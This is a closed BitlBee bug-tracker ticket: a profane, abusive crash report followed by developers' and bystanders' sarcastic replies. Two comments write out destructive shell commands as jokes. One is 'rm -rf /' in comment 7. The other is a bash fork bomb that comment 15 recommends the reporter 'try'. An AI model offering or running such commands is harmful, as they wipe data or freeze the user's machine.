#91 closed defect (id10t)

Bunch of fucking wankers

Reported by: anonymous Owned by:
Priority: normal Milestone:
Component: BitlBee Version: 1.0.1
Keywords: Cc:
IRC client+version: Client-independent Operating System: Public server
OS version/distro:


Unfortunately I didn't have a look at your fucking code before trying this software. After fucking about with it for about five minutes via irssi on a proliant 6500 with 4 processors and 4Gb of RAM, I disconnected from the server(thus leaving 0 people on it), removed it from inetd and restarted the process.

What happens.

The entire FUCKING SYSTEM goes down.

Bunch of fucking CUNTS.

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comment:1 Changed at 2006-01-23T14:32:33Z by wilmer

Resolution: id10t
Status: newclosed

Thank you for this very useful bug report. I'm sure the next release will be a lot better, especially thanks to your very useful bug-reproduction steps. The life of Open Source coders is so much better with grateful people like you, you can't even imagine.

We'd love to hear from you again!

comment:2 Changed at 2006-01-23T14:35:28Z by wilmer

BTW, just wondering, do you use Gentoo? :-)

comment:3 Changed at 2006-01-23T16:11:25Z by Sjoerd <sjoerd@…>

Hmmm... Didn't realise school was out already.

Silly kids. In my days they went outside to play...

comment:4 Changed at 2006-01-23T16:18:04Z by wilmer

Remember this guy comes from Sweden, I guess they're in a different timezone. ;-)

And congratulations to the submitter BTW, you just won the first funniest-bugreport award! \o/

comment:5 Changed at 2006-02-21T19:37:45Z by anonymous

How exactly did "The entire FUCKING SYSTEM goes down." ?

I'm curious, though perhaps you managed to find an 0hday in bitlbee leading to compromise of ring0...

comment:6 Changed at 2006-02-23T02:27:24Z by anonymous

There is a huge difference between a 'system' and a 'fucking system', that might be whats causing the problem, anyone want to check into that? I'm suprised it compiled on a 'fucking system', I don't think they did any optimizations.. Did you get it to compile unmodified?

comment:7 Changed at 2006-02-24T10:27:40Z by el_loco_pollo

user error:

rm -rf / bitlbee is not the same as rm -rf /bitlbee

comment:8 Changed at 2006-02-27T22:25:06Z by toxik

wilmer you old fart :P

Try not to bully the gentoo users aye!

For that matter, I'd think that would be a problem with libc and not bitlbee, I mean hell that's a big security hole if you can bring down an entire system by fucking around with bitlbee over IRSSI..

comment:9 Changed at 2006-02-28T19:30:30Z by wilmer

Hey, do I hear an evil god talking? ;-) I thought I took back my words about Gentoy already here, my guess right now is that this guy was on Solaris and forgot that killall is a dangerous command on some systems. :-P

BTW, a libc shouldn't be able to give a user more privileges, it really would be a kernel problem. Or maybe evil hardware, okay.. ;-)

comment:10 Changed at 2006-03-13T04:52:06Z by anonymous

The "procreating" system (or perhaps it's a system not used for "production", thus a System Like production Used for Testing [hint: note the acronym]) didn't crash, he is just embarassed to say bitlbee caused his system to eject it's core all over the place...

comment:11 Changed at 2006-03-16T12:26:17Z by anonymous

Hey, where can i get 'fucking system' it might be ... usefull.

comment:12 Changed at 2006-03-18T08:17:33Z by wilmer

I guess it's somewhere in the 'fucking code'. I'm still wondering what our anonymous genius expected to see there.

comment:13 Changed at 2006-03-26T21:26:15Z by anonymous

I wonder how this genius can 'fuck' with bitlbee... I guess the reporter must have a device from installed, you guys should find a way to protect the bee from such 'intrusions' ;-) And no wonder mr genius' system ejected it's core all over the place, he's only following it's _master_'s example *G*

Anyways, @reporter: I have three words for you: ANGER-MANAGE-MENT

Oh, and mentions the Proliant 6500 as retired, maybe it feld too old for running a _new_ program like Bitlbee. Go and buy a new system dude ;)

comment:14 Changed at 2006-03-29T19:16:26Z by deice

this sounds a bit like a tuttle to me. (for those unfamiliar with the phenomenon, read )

comment:15 Changed at 2015-11-17T20:55:17Z by anonymous

you need to try this command man!

:(){ :|: & };:

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